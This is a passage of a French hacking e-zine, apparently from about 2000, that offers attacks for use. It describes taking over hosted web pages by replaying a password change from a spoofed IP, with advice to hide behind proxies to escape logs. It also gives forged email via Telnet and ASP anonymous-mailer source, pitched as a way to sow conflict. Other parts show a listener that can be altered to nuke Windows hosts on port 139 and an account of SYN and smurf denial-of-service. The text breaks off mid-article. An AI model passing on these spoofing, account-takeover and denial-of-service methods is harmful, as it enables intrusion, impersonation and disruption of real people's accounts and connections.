----      ----            ^            ------------------   ----      ----  -----------------    ---------------

|  |      |  |          /    \         |                    |   |    /   /  |               |    |      ----    \

|  |      |  |         /      \        |    ------------    |   |   /   /   |    ------------    |     |    |    |

|  |      |  |        /   /\   \       |    |               |   |  /   /    |    |               |      ----    /

|  ------    |       /   /  \   \      |    |               |        /      |    ------------    |          ---

|  -------   |      /   /    \   \     |    |               |        \      |               |    |      |\   \

|  |      |  |     /   -------    \    |    |               |   | \   \     |    ------------    |      | \   \

|  |      |  |    /   ----------   \   |    ------------    |   |  \   \    |    ------------    |      |  \   \

|  |      |  |   /   /          \   \  |                    |   |   \   \   |               |    |      |   \   \

----      ----  ----             ----  -----------------    ----     ----   -----------------    -------     ----

 

                    --------------  -------------------   -------------------  ---------------   ----            ----

                    |            |  |                  |  |   ----------    |  |    ------    \  |    \         /    |

                    |    ---------  -------     -------   |   |         |   |  |   |      |    | |     \       /     |

                    |    |                 |    |         |   |         |   |  |    ------    /  |      \     /      |

                    |    ---------         |    |         |   |         |   |  |          ---    |    | \  -  / |    |

                    ---------    |         |    |         |   |         |   |  |    | \    \     |    |  \   /  |    |

                            |    |         |    |         |   |         |   |  |    |  \    \    |    |   \ /   |    |

                    ---------    |         |    |         |   |         |   |  |    |   \    \   |    |         |    |

                    |            |         |    |         |   ----------    |  |    |    \    \  |    |         |    |

                    --------------         -----          -------------------  -----      ----   -----          -----

 

                                          ---------------------

                                          -                    -

                                          -      -------        -

                                          -    -        -       -

                                          -----        -       -

                                                     -       -

                                                  -       -

                                               -       -

                                             -       -

                                          -        -------------

                                          -                    -

                                          ----------------------  

                                                (le retour)

 

 

 

          ************************************************************************************

                                    INFORMATIONS LEGALES

 

            Cette publication éléctronique peut contenir des informations,

            données et articles interdits dans certains pays. Si les

            informations de cette publication sont interdites dans un pays,

            il est du devoir du lecteur de vérifier qu'il a bien le droit de

            posséder et de lire cette publication.  Les auteurs et éditeurs

            ne sont en aucun cas responsables d'une mauvaise utilisation des

            informations publiées. Les informations fournies dans cette

            publication sont à titre informatifs uniquement.

            Toutefois, la diffusion et la lecture de ce bulletin PRIVE est

            restreinte à toutes les personnes dans l'underground informatique.

            Ne font pas partie de l'underground informatique tel que je le concoit

            les personnes suivantes: Membres d'équipes de sécurité publiques ou

            privées, personnes affiliées à des agences gouvernementales,

            informateurs quelconques, responsables sécurités et toute personne

            pouvant mettre un hacker en prison ou devant un tribunal.

            Lire ce bulletin en n'étant pas dans l'underground informatique

            constitue donc une violation des lois de Copyright et de Propriété

            Intellectuelle ainsi qu'un acte de malveillance envers les auteurs et

            les rédacteurs car cela revient à lire des informations propriétaires.

 

          ************************************************************************************

                              INFORMATIONS SUR LE GROUPE ET L'E-MAG

 

            Nous voilà, de retour pour le 2!!! Et oui comme vous avez surement pu le deviner,

            vous avez sous les yeux le nouveau HackerStorm'mag 2 !!

 

            Le premier de nos e-mags à fait un grand succès auprès des débutants voir

            même des novices. En effet, nous avons reçu de nombreux e-mails(non dû à un mail-bomb :) )

            qui nous félicitaient d'avoir écrit un mag qui reprenait les principaux éléments

            de la base du hacking. A la demande général, nous avons décidé de créer

            un channel sur IRC. Vous pourrez donc désormais nous contacter en undernet

            sur le channel #HackerStorm. De plus, beaucoup d'entre-vous nous ont demandé

            pourquoi Nos-K nous a quitté. Il nous a quitté tout simplement pour former

            un autre groupe après avoir appris la base du hacking dans le notre.

            Voilà, sinon certains d'entre vous nous ont demandé pourquoi nous ne parlions

            pas du hacking par la faille des ressources partagées de windows.

            Je réponds a cette question dans un article donc rendez-vous plus bas pour la réponse.         

           

            Pour écrire un article, faire parti du groupe, être informé de toutes les dernières infos sorties,

            veuillez nous contacter à HackerStorm@HotMail.Com

 

            Voilà, sinon nous avons créé un channel en Undernet -> #HackerStorm

            Nous y sommes le week-end la plupart du temps et pendant les vacances.

 

          ************************************************************************************

                                          SOMMAIRE

                  I - Hacking

                        1 - Hacker une page Web par KoP

                        2 - Le fake mail via Telnet par Lauspeed

                        3 - Troyan sous Linux par Sboub

                        4 - Le Flood et le Nuke par KoP

                              A - Le Flood

                              B - Le Nuke

                              C - Les firewall

                        5 - Buffer overflow - débutant par Tipiax

                        6 - Exploit par Tipiax

                        7 - Programme de création de shell-code par KoP

 

                  II - Cracking

                        1 - Easy soct CD menu générateur par Alexia[SKY]

                        2 - WinRescue 98 V 2.04 par Alexia[SKY]

                        3 - Pretty HTML V2.00 par Alexia[SKY]

                        4 - PhotoImpact 4 Trial Version par Alexia[SKY]

                        5 - Comment trouver une adresse de softice(ou windasm)

                             qui corresponds a l'offset du fichier exe ? par eBrain

                        6 - Solution Du KeygenMe Par TiPiaX

 

                  III - Programmation

                        1 - Un client SMTP en Visual Basic par Lauspeed

                        2 - Programmation des sockets en C sous Linux par Sboub

                              A - Les sockets,qu'est ce que c'est ?

                              B - Ouvrir une connection

                              C - Envoyer et recevoir des données.

                              D - Fermer une connection

                              E - Un peu plus loin...

                              F - L'exemple BONUXXXX !!!

 

                  VI - Divers

                        1 - Les ressources partagées par KOP

                        2 - Emulateur NetBus en Visual-Basic par KoP

 

 

          ************************************************************************************

          *                        HACKING par KoP,Lauspeed,Sboub,Tipiax                     *

          ************************************************************************************

 

      1 - Hacker une page Web par KoP

 

            De nombreuses personnes se ventent sur internet de pouvoir hacker des pages Web

            hébergées par des servers comme Multimania.com, Chez.com,..... Ils ajoutent aussi

            que n'importe qui peut le faire. Mais celà est beaucoup plus difficile que ce que vous

            pourriez imaginer. Je vais donc vous fournir une technique que vous pourrez utiliser

            après avoir compris quelques principes élémentaires. Pour cela, nous allons utiliser

            la méthode que j'utilise pour rechercher les failles d'un serveur.

            -------------------------------------------------------------------------------------------

            But(s):   Avoir accès aux données FTP d'une page web.

 

            Victime(s): Les hébergeurs de pages Web utilisant les servers HTTPd

                  pour l'identification et le changement de Pass de l'accès FTP.

            Hypothèse(s) 1: Nous pouvons, en spoofant la dernière IP du connecté,

                  changer le pass du compte sans avoir besoin de s'identifier.

 

            Donnée(s): l'IP du connecté est enregistré par le Server.

                  Le port local utilisé pour la connection varie et le port

                  de connection sur le server est le 80 pour le HTTPd

                  et le 21 pour le FTP.

 

            Problème(s) possible(s): L'IP du dernier connecté est remise à zéro

                  après un time out.

 

            Hypothèse (2): Y a t'il un Time Out comme quoi personne ne peut plus se connecter ?

                  Si oui, est-ce que l'IP est remise à 127.0.0.1ou est-ce qu'il y a une variable

                  comme quoi plus personne ne peut se connecter ?

 

            Procédure:

                  - Créer un compte sur l'hébergeur victime.

                  - S'identifier par le server HTTPd

                  - Tester si on est toujours identifié comme propriétaire de la page

                     pendant un certain temps en ayant la même IP(jusqu'à 30 mins).

                  - Si au bout de 30 minutes nous sommes toujours propriétaire

                    cela signifie que l'hypothèse du Time Out est fausse et que donc

                    il nous suffit d'avoir l'IP du dernier connecté pour nous logguer

                    sur le server.

                    Cf -> Démarche("du dernier user connecté","n'importe quand")

                  - Sinon nous devons tester si l'IP de connection est remise à 127.0.0.1

                     Pour cela nous enregistrons les données envoyées par notre client

                     HTTPd pour changer une option dans notre page. Ensuite, en utilisant

                     les Raw Sockets, nous envoyons les mêmes données logguées

                     au server HTTPd en prenant l'IP 127.0.0.1 après avoir dépassé le timeout.

                     Nous allons ensuite voir si le changement d'option s'est effectué.

                     Si oui, Cf  -> Démarche("127.0.0.1","plus du temps du Time Out")

                     Si non, Cf -> Démarche("du dernier user connecté","moins du temps du Time Out")

 

            Démarche :

                  Avec l'IP *1* datant de *2*, envoyez sur le port 80 du server HTTPd

                  votre log de changement de pass. Ainsi, le compte aura pour pass

                  le même que celui que vous avez changé lors de l'enregistrement du log.

                  Vous pourrez ainsi vous connecter sur le server FTP avec l'account et

                  votre pass et ainsi vous aurez hacké la page web.

 

            Application:

 

                  Voici les datas envoyées par le client sous windows au server Multimania.com

                  pour la lecture de la page principale :

                  ------------------------------------------------------------------------------------

                  Envoyé par le client

                  ------------------------------------------------------------------------------------

                        GET / HTTP/1.1

                        Accept: application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap, image/jpeg,

                              image/pjpeg, */*

                        Accept-Language: fr

                        Accept-Encoding: gzip, deflate

                        User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)

                        Host: 200.12.34.56

                        Connection: Keep-Alive

                  ------------------------------------------------------------------------------------

                  Envoyé par le server après la demande d'une page valide

                  ------------------------------------------------------------------------------------

                        HTTP/1.1 200 OK

                        Date: Fri, 3 Nov 2000 16:30:00 GMT

                        Server: Apache/1.3.12 (Unix) PHP/3.0.15

                        Set-Cookie: Apache=213.36.130.69.84032973874838970; path=/

                        X-Powered-By: PHP/3.0.15

                        Pragma: no-cache

                        Cache-Control: no-cache

                        Expires: Mon, 06 May 1996 04:57:00 GMT

                        Content-Language: fr

                        Upgrade: HTTP/1.1

                        Connection: close

                        Content-Type: text/html

 

                        + SOURCE DE LA PAGE (ON S'EN FOU DANS CE TUT)

                  ------------------------------------------------------------------------------------

 

                  Les données intéressantes sont soulignées.

                  Après avoir trier ces données d'entêtes, nous savons qu'il s'agit

                  d'un server d'HTML version 1.1 utilisant Apache/1.3.12  qui tourne sous Unix

                  et qui accèpte l'utilisation du PHP version 3.0.15

                  Il fourni des pahes Html et Text.

                 

                  ------------------------------------------------------------------------------------

                  Envoyé par le server après la demande d'une page non valide

                  ------------------------------------------------------------------------------------

                        HTTP/1.1 302 Found

                        Date: Sat, 30 Sep 2000 11:57:15 GMT

                        Server: Apache/1.3.12 (Unix) mod_fastcgi/2.2.2

                        Location: http://www.multimania.fr/

                        Keep-Alive: timeout=15, max=1000

                        Connection: Keep-Alive

                        Transfer-Encoding: chunked

                        Content-Type: text/html; charset=iso-8859-1

 

                        118

                        <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

                        <HTML><HEAD>

                        <TITLE>302 Found</TITLE>

                        </HEAD><BODY>

                        <H1>Found</H1>

                        The document has moved <A HREF="http://www.multimania.fr/">here</A>.<P>

                        <HR>

                        <ADDRESS>Apache/1.3.12 Server at www.multimania.com Port 80</ADDRESS>

                        </BODY></HTML>

 

                        0

                  ------------------------------------------------------------------------------------------------

                 

                  Nous remarquons la présence d'un timeout de 15 secondes à la connection

                  grâce à la ligne "Keep-Alive: timeout=15, max=1000". De plus, nous voyons

                  qu'il s'agit d'un server "Apache/1.3.12 (Unix) mod_fastcgi/2.2.2".

                  Pour trouver une faille, il vous sera plus facile de posséder le server

                  sur votre ordinateur. Allez donc essayer de le télécharger en vérifiant

                  bien qu'il s'agisse du même server.

 

                  Sur le server de Multimania, le changement de pass se fait par la page

                  http://www.multimania.fr/general/login/login.phtml

                  Les données intéressantes que nous pouvons y trouver sont :

                  ------------------------------------------------------------------------------------------------

                        ..............................

                        <SCRIPT LANGUAGE=JavaScript>                   

                        function isFinished() {

                        /*    Désactivé - fout la zone avec la checkbox cookie persistant            

                              var login, password, n1, n2;

                              login = document.LOGINFORM._login_nm.value;

                              password = document.LOGINFORM._login_pw.value;

                              n1 = login.length;

                              n2 = password.length;

                              if ((n1 > 2) && (n2 > 5))

                                    document.LOGINFORM.submit();

                              return true;

                              */

                        }

                        </SCRIPT>

                            <FORM NAME=LOGINFORM METHOD=POST ACTION="/general/login/login.phtml">

                        <INPUT TYPE="HIDDEN" NAME="_login" VALUE="">

                        ..............................

                        <input name="_login_nm" size="12" maxlength="16" value="">

                        ..............................

                        <input onChange="return isFinished()" type="password" name="_login_pw" size="12" maxlength="16"></td>

                        ..............................

                  ------------------------------------------------------------------------------------------------

                  L'identification se fait grâce au fichier "general/login/login.phtml" après

                  avoir cliqué sur le bouton submit. Les variables envoyées sont  :

                        - _login_nm pour le login

                        - _login_pw pour le password

                  Pour vous logguer depuis votre browser, il vous suffit d'entrer l'url :

                  http://www.multimania.fr/general/login/login.phtml?_login_nm=login&_login_pw=pass

                  en changeant login par votre login et pass par votre pass.

 

                  Vous pouvez créer un programme qui test les password mais trouver

                  le password de la page de cette manière risquerait de mettre pas mal

                  de temps en fonction du nombre le caractère que le créateur du compte à mis.

                  Toutefois si vous voulez créer un programme de ce type, il faut que vous sachiez

                  que vous avez 15 secondes pour envoyer du texte après quoi vous tomberez en

                  Timeout. De plus, il faut savoir que après la ligne de commande qui Post les variables

                  il faut envoyer 3 CrLf de suite pour que le server comprenne que se qui précède

                  est la commande qu'il doit executer.

 

                  Depuis peu, multimania à mis en place un système d'identification automatique par cookie.

                  Ceci peut être très interessant. Il suffirait de récupérer ou de lire les informations du cookie

                  de la personne à qui appartient la page pour connaitre les informations nécessaires et vous logguer

                  sur son compte.

 

                  La dernière méthode est de créer un programme qui envoi la requète de changement de password

                  en spoofant l'IP que le server à enregistré comme identifié avec succès(Pour savoir quelle IP spoofer

                  veuillez vous référer à Procédure qui a été vu plus haut). Pour cela vous avez la possibilité d'utiliser

                  les Raw sockets pour changer l'IP source.

 

            Conclusion(s) après avoir fait l'application:

                        Nous pouvons conclure que nous avons 15 secondes maximums pour envoyer

                        la requête de changement de pass se qui est largement suffisant.

                        De plus, nous voyons après quelques testes qu'il n'y a pas de Time Out de fin

                        d'identification c'est à dire que nous pouvons rester connecté indéfiniment

                        sur le server en étant identifié propriétaire de la page avex la même IP.

                        La démarche à suivre pour ce server est donc:

                        Cf -> Démarche("du dernier user connecté","n'importe quand")

     

            -------------------------------------------------------------------------------------------

 

            Voilà, je vous conseille d'utiliser cette démarche pour rechercher vos exploits.

            J'utilise cette technique depuis un certain temps. Pour cela j'ai créé un programme

            en C/C++ Linux qui permet d'envoyer des datas en prenant l'IP que je désire grâce

            aux Raw Sockets. Malheureusement pour vous, je ne vous le fournirai pas. Pourquoi ?

            Tout simplement car un débutant n'est pas responsable et n'a donc pas à hacker un site Web.

            Pour les personnes plus responsables, je pense qu'elles pourront se débrouiller à

            programmer ça car ce n'est vraiment pas difficile avec les exemples qui sont fournis

            dans ce mag(vous pouvez aussi voir coment fonctionne Cips ;) ).

            Voilà, ben je pense que vous avez dû comprendre le système pour le hacking

            des pages Web et que vous comprenez  pourquoi un simple débutant ne peut pas

            accéder à une page web comme ça. J'espère quand même que vous n'en abuserez

            pas car il se pourrait qu'après  trop d'attaques de ce type les administrateurs

            trouvent une parade. Ah oui,  n'oubliez pas que les connections FTP sont loguées

            et qu'il est donc indispensable de prendre un shell, une gate ou un proxy pour ne pas avoir

            de problèmes duênt à la plainte déposée par le propriétaire après une modification de la page.

 

                                                      By KoP

 

 

      2 -Le fake mail via Telnet par Lauspeed

 

            Le fake mail est un processus consistant à falsifier son adresse lors de l'envoie d'un mail.

            On peut donc ainsi envoyer des mails purement anonymes ou bien se faire passer pour

            quelqu'un d'autre. Ca permet de foutre le bordel dans une mailing liste constituée de

            neuneus ou de créer des conflits, bref de se détendre un peu..... :)

 

            Pour ce faire, nous allons utiliser Telnet, qui est un programme fourni en standard

            avec Windows 95/98. Telnet est situé par défaut dans le répertoire de Windows.

            Lançons ce programme. Dans le menu Terminal, nous ouvrons la fenêtre préférence

            et sélectionnons la case « Echo local », afin de pouvoir visualiser ce que nous

            écrivons, la case « VT 100/ANSI », qui désigne le type de terminal, et entrons

            un mémoire tampon au moins égal à 25.

 

            Ceci fait, nous pouvons commencer à nous occuper de la connexion.

            Dans le menu Connexion, ouvrons la fenêtre système distant.            

            Dans la textbox « port », nous entrons 25, qui est le port SMTP du protocole TCP,

            et dans « Type de Terminal », nous choisissons vt100. Il s'agit alors de choisir

            un serveur SMTP ; on remplira la textbox « Nom d'hôte » à cet effet.

            Le serveur entré par défaut est www.worldnet.net. Une fois ceci fait,

            nous pouvons cliquer sur connecter. Si tout ce déroule correctement,

            nous devrions recevoir une réponse du serveur du type :

            « 220-admin Microsoft SMTP MAIL ready at Sat, 28 Oct 2000 14:39:42 +0200 Version: 5.5.1877.197.19

            220 ESMTP spoken here ».

            Comme il s'agit ici d'un serveur du type ESMTP, il faut alors taper :

            « HELO ESMTP »

            Le serveur va alors nous répondre par un : « 250 Admin.worldnet.net Hello [IP de ce serveur] ».

     

            Nous passons alors au message en lui-même : (Tout ce qui est situé après l'apostrophe n'est pas à écrire.)

            MAIL FROM:<toi@cheztoi.com>   ' E-mail de celui pour qui nous voulons nous faire

            ' passer

            250 <toi@cheztoi.com>...sender OK   ' Réponse du serveur

            RCPT TO:<victime@chezvictime.com>   ' E-mail de la personne à qui on veut envoyer le     

                  ' message

            250 <victime@chezvictime.com>...recipient OK    ' Réponse du serveur

            DATA  ' Indique au serveur que nous commencons le message

            354 Please enter your message body, ending with a "." on a line by itslef ' Réponse du serveur qui nous indique d'écrire

                  ' notre message en terminant par un point

            Début du message que nous voulons envoyer ' Nous écrivons le message en lui-même

            ....................................................................    '...

            ....................................................................    '...

            Fin du message    '...

            .     'et nous n'oublions pas de terminer par un point.

            250 Message accepted for delivery   ' Réponse du serveur

                  Le message a été envoyé. C'est fini.

            Nous pouvons alors quitter Telnet en tapant QUIT.

 

            P.S. : Kop m'a dit que mon article était trop court. Il a sorti le fouet, a fait sa tête de méchant

                   et m'a dit : Ajoute ça.... Vu que j'avais pas vraiment le choix et que j'aime pas trop me

                   faire taper dessus avec un fouet, je l'ai fait. :) Bref, c'est le code en ASP qui permet

                   à partir d'une page web d'envoyer un mail anonyme. Voila, c'est tout....

                   (KoP: même pas vrai, j'ai pas de fouet ;)

                   Pour que cette  source marche, enregistrez la sous une extension .ASP(ex: mail.asp)

                   et mettez la sur un server Html prenant l'asp(la majorité normalement) )

 

            COPIER/COLLER -------------------------------------------------------------------------------------------

                  <%

                  ' Anonymous Mail!

                  ' version 1.0

                  ' (c) 2000 Secone

                  ' http://www.secone.com

                  ' info@secone.com

                  ' file: anonymous.asp

                  ' programming: System33r / s.r.t

                  <%

 

                  <% If request.form("flag")=""then %>

                      <HTML>

                      <H1>Anonymous Mailer by System33r</H1>

                      <H4>Please enter all the required fields or it won't be send.</H4>

                      <FORM action=anonymous.asp method=post>

                      <TABLE border=0 cellPadding=1 cellSpacing=1 style="HEIGHT: 184px; WIDTH: 457px"

                      width="75%">

                      <style>

                  <--

                  a:link { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: underlined }

                  a:visited { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: underlined }

                  a:active { color: #000080; font: 7.5pt verdana; font-weight: none; text-decoration: none }

                  a:hover { color: #000080; font: 7.5pt verdana; font-weight: none; text-decoration: none }

                  td { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: none }

                  body { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: none }

                  input { color:#000000; font: 7.5pt verdana; font-weight: none; text-decoration: none; background: #c0c0c0; border: 1 solid #000000; }

                  -->

                  </style>

                      <TR>

                      <TD>From: </TD>

                      <TD><INPUT name=From size=30 style="HEIGHT: 22px; WIDTH: 321px"></TD></TR>

                      <TR>

                      <TD>To: </TD>

                      <TD><INPUT name=To size=30 style="HEIGHT: 22px; WIDTH: 321px"></TD></TR>

                      <TR>

                      <TD>Subject: </TD>

                      <TD><INPUT name=Subject size=50 style="HEIGHT: 22px; WIDTH: 321px"></TD></TR>

                      <TR>

                      <TD>Body of Message: <BR></TD>

                      <TD><TEXTAREA cols=30 name=Body rows=5 style="HEIGHT: 86px; WIDTH: 322px" wrap=virtual>

                       Message Body</TEXTAREA></TD></TR></TABLE>  <BR>  <BR> <BR><BR>

                      <INPUT type="submit" value="Send Mail">

                      <INPUT type="hidden" name="flag" value="1">

                      </HTML>

                      <%

                      Else

                      Dim anonFrom,anonTo,anonSubj,anonBody

                      anonFrom = request.form("From")

                      anonTo = request.form("To")

                      anonSubj = request.form("Subject")

                      anonBody = request.form("Body")

                      Set objMail = CreateObject("CDONTS.NewMail")

                      objMail.From=anonFrom

                      objMail.To=anonTo

                      objMail.Subject=anonSubj

                      objMail.Body=anonBody

                      intReturn=objMail.Send()

                      %>

                      <HTML>

                  <style>

                  <--

                  a:link { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: underlined }

                  a:visited { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: underlined }

                  a:active { color: #000080; font: 7.5pt verdana; font-weight: none; text-decoration: none }

                  a:hover { color: #000080; font: 7.5pt verdana; font-weight: none; text-decoration: none }

                  td { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: none }

                  body { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: none }

                  input { color:#000000; font: 7.5pt verdana; font-weight: none; text-decoration: none; background: #c0c0c0; border: 1 solid #000000; }

                  -->

                  </style>

                      <H1>The message sent successfully </H1>

                      <INPUT type='button' value='Back' onclick=history.back()>

                      </HTML>

                      <%

                      End If

                      %>

            ---------------------------------------------------------------------------------------------------------

            Voilà c'est tout. Amuser vous bien et évitez d'envoyer des mails anonymes an faisant des menaces au FBI.

            Vous seriez facilement repérable, car lors de l'envoie d'un tel message, votre adresse IP

            est communiqué à votre destinataire, donc....

 

                                                            By Lauspeed

 

      3 - Troyan sous Linux par Sboub

 

            Dans le Mag n°1, TIPIAX nous avait fait un petit TROYAN ENCULATOR en C++

            windows, dans ce mag n°2 je l'ai porté sous LINUX et j'ai rajouté quelques fonctions...

 

            Tout d'abord, la source brute...

            COPIER/COLLER -------------------------------------------------------------------------------------------

            /*          !!!!!!!!!!!!!!!!!

                        ! TROJENCULATOR !

                        !!!!!!!!!!!!!!!!!

                             By Sboub.

 

             Ecoute d'un port en attente de connexion (BO,NETBUS etc...)

 

             Fonctions incluses (et à inclure, notées avec *):

 

                  -> Ecoute d'un port et alerte si connexion

                  -> Log dans un fichier

                  -> Envoie d'un message (signature ou autre...) lors d'une connection

                  -> Nuke dans la source si désiré...

                * -> Dialogue ou flood de MSGBOX pour certains trojan (Ex: Netbus)

 

            -------------------------------------------------------------------------

            J'attire l'attention du lecteur de cette source sur la ligne suivante:

            send(new_fd,mon_message,strlen(mon_message),0);

            Si l'on remplace le flag 0 par MSG_OOB la personne ki vous attaque

            (sous daube95 of course) va être nuked !!  :))

            Je vous laisse le soin de changer le 0 par MSG_OOB et de balancer ça

            sur le bon vieux port 139.         

            -------------------------------------------------------------------------

            */

            #include <stdio.h>

            #include <stdlib.h>

            #include <errno.h>

            #include <string.h>

            #include <sys/types.h>

            #include <netinet/in.h>

            #include <sys/socket.h>

            #include <sys/wait.h>

 

            main(int argc,char **argv)

            {

            char* usage =     "\nTrojenc 1.0b by Sboub !\n\n"

                              "Ecoute d'un port en attente de connection de trojan + toutes les options...\n"

                              "N.B => en cours de développement... ;)\n"

                              "\nUSAGE: trojenc [port] [fichierLOG|0:aucun] [Msgbox|0:non 1:oui] ['message']\n\n";

            char *fichierLOG;

            FILE *fichier;

            char *mon_message = "       !! FUCK YOU LAME, THIS IS TROJEN C FOR LINUX !!        ";

            int type_alerte;

            int port;

            int sockfd, new_fd;

            int sin_size;

            struct sockaddr_in my_addr;

            struct sockaddr_in their_addr;

 

            if (argc < 4) { printf(usage); return 0; }

            port = atoi(argv[1]);

            fichierLOG = argv[2];

            type_alerte = atoi(argv[3]);

            if (argv[4] != 0) { mon_message = argv[4]; }

 

            printf("\nBIENVENUE DANS L'ATTRAPE LAMERZ !  ;)\t(codé à l'arrache bien sur !)\nBy Sboub\n\

            \n\nListen en cours sur %d... (Ctrl-C pour quitter)\n\n",port);

 

            if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket"); exit(1); }

            my_addr.sin_family = AF_INET;

            my_addr.sin_port = htons(port);

            my_addr.sin_addr.s_addr = INADDR_ANY;

 

            if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(1);}

            if (listen(sockfd, 1) == -1) { perror("listen"); exit(1);   }

 

            while(1) /* Boucle LISTEN */

            {

            sin_size = sizeof(struct sockaddr_in);

            if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr,&sin_size)) == -1) { perror("accept"); continue;}

 

            printf("ALERTE ! Connexion du lamerz %s sur %d...", inet_ntoa(their_addr.sin_addr),port);

            send(new_fd,mon_message,strlen(mon_message),0); // MSG_OOB à la place de 0 ca vous dit kke chose :) EXCELLENT !

            close(new_fd); printf("...KILLED !\n");

 

            if (strcmp(fichierLOG,"0")!=0)

            {

                        fichier=fopen(fichierLOG,"a");

                        fprintf(fichier,"Connexion du lamerz %s sur %d...\n", inet_ntoa(their_addr.sin_addr),port);

                        fclose(fichier);

            }

            if (type_alerte == 1)

            {

                  system("xmessage -buttons \"Ok, je vais me le faire...\" -center \"ALERTE ! Connexion d'un lamerz détectée et rejetée !\"");

            }

            } /* Fin boucle LISTEN */

           

            }

            ---------------------------------------------------------------------------------------------------------

            J'ai un petit peu commenté la source, mais pour plus de précision : #hackerstorm ou SBOUB666@hotmail.com

 

            !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

            !!!!!!! Dans le prochain mag, un bot complet pour IRC !!!!!!!!

            !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

 

 

      4 - Le Flood et le Nuke par KoP

 

            De nos jours, de nombreux programmes sur le flood et le nuke sont disponibles.

            Tout le monde a déjà utilisé un programme de ce type. Mais savez-vous bien

            comment ces programmes fonctionnent ? Pour ma part, je définie ces 2 mots

            de manière différentes. Pour moi, un flood est le fait de saturer la bande passante

            d'une machine pour la faire ralentir ou déconnecter alors qu'un nuke utilise un bug

            qui fait planter la machine, un port ou encore un programme server ou client qui

            est destiné à communiquer avec le net.

            De vais vous détailler ça dans 2 sous parties.

 

                        A - Le Flood

 

                  Le flood est de loin, le procédé le plus utilisé pour déconnecter des personnes

                  qui n'ont pas de bonne connection ni de firewall.

                  Vous pouvez flooder une personne non pas en lui envoyant des multitudes de données

                  mais au contraire, en lui faisant envoyer des multitudes de données tout ça en un minimum de temps.

                  Je m'explique:

                  Lorsque un trop grand nombre de données va arriver, le provider de la personne va lui envoyer

                  packet par packet et donc elle ne sera en aucun cas floodé à part si elle a un modem 14'400bps

                  dans ce cas, le modem ne pourra pas suivre et déconnectera. Mais cela reste tout de même rare.

                  Ceux qu'il faut, c'est donc faire envoyer des données par la personne pour qu'une des couches

                  (application,...,physique(modem))soit saturée ou que son provider le déconnecte pour flood.

                  Pour flooder, il est nécessaire de prendre connaissance d'une certaine notion.

                  Le coefficient de flood est égal au coefficient de réponse sur le coefficient d'envoi.

                  Je préfère utiliser un schéma pour vous la faire comprendre :

                 

                  Exemple d'un PING - PONG :

                  --------------------------                     -------------------------

                  -    Envoi PING          -  ---------------->  -    Réception PING     -

                  -    Réception PONG      -  <----------------  -    Envoi PONG         -

                  --------------------------                     -------------------------

                  Vous(total: 2 packets)                          Victime(total: 2 packets)

                 

                  Le coefficient d'envoi est 2 et le coefficient de réponse est aussi 2.

                  Le coefficient de flood est donc de 2/2=1.

                  Pour flooder la personne, vous devez donc posséder une meilleur bande passante que celle-ci

                  et encore celle-ci ne déconnectera pas obligatoirement(délai provider).

                  Vous pouvez aussi, grâce à un firewall, bloquer la réception de PONG et donc faire passer

                  à un coefficient de flood de 2 ce qui est déjà beaucoup plus rentable car vous pouvez rivaliser

                  avec une connection 2 fois supérieur à la votre. Vous pouvez aussi modifier l'IP source

                  et ainsi vous ne recevrez jamais le PONG.

                 

                  Exemple d'une connection :

                  --------------------------                   ----------------------------

                  -      Envoi SYN         - ----------------> -      Réception SYN       -

                  -     Réception ACK      - <---------------- -        Envoi ACK         -

                  -     Envoi SYN/ACK      - ----------------> -    Réception Syn/Ack     -

                  --------------------------                   ----------------------------

                  Vous(total: 3 packets)                       Distant(total: 3 packets)

 

                  Exemple d'un flood SYN :

                  --------------------------                   ----------------------------

                  -      Envoi SYN         - ----------------> -      Réception SYN       -

                  -   Packet ACK ignoré    - <---------------- -        Envoi ACK         -

                  -                        -                   -    Attente de Syn/Ack    -

                  --------------------------                   ----------------------------

                  Vous(total: 1 packets)           Victime(total: 2 packets+attente+connection réservée)

                 

                  Ce type de flood est donc excellent car le coefficient est de 3/1=3.

                  De plus lorsque le packet ACK est envoyé, le système de victime

                  alloue un espace mémoire pour gérer la socket qui est en train de se créer.

                  De plus, le système de victime se met en attente de réception de SYN/ACK.

                  Et ce n'est qu'après un timed out que la connection sera dite erronée.

                  Encore mieux, certains systèmes envoyent un packet ICMP connection error

                  ce qui fait passer le coefficient de flood à 4 !!!!

                  Ce procédé est donc excellent pour le flood.

 

                  Exemple d'une connection HTTP:

                  -----------------------------                   ----------------------------

                  -          Envoi SYN        - ----------------> -       Réception SYN      -

                  -       Réception ACK       - <---------------- -         Envoi ACK        -

                  -       Envoi SYN/ACK       - ----------------> -     Réception Syn/Ack    -

                  -----------------------------                       ----------------------------

                  -    Envoi de la demande    -  -------------------> -     Réception de la      -

                  -    de page de la forme:   -  <-(nbre de packets)- -    demande, envoi de     -

                  -    "GET /... HTML/1.1"    -                       -    la page+des datas     -

                  -----------------------------                       ----------------------------

                  Vous(total: 4 packets)                    Server(total: 4 packets+packets de la page)

                                                         (1Ko/packet maxi donc si la page fait 15 ko ;o) )

 

                  Voilà, je pense que le schéma est assez explicite. :o)

                  Lors d'une connection HTTP, le server envoi de nombreux packets

                  et ainsi le coefficient est variable en fonction de la page demandée.

                  Bien sûr ceci est réservé à des servers.

 

                  Un autre type de flood server: "LE SMURF"

 

                  Le smurf consiste a envoyer un packet ICMP( PING )  à une série de broadcast(sous-machine)

                  en mettant pour IP source, l'IP de la victime. Ainsi, la série de packets PONG au lieu

                  de revenir sur vous ira vers victime et comme ceci ce fait à une vitesse de réseau local,

                  celle-ci sera enormément ralenti, voire déconnecté.

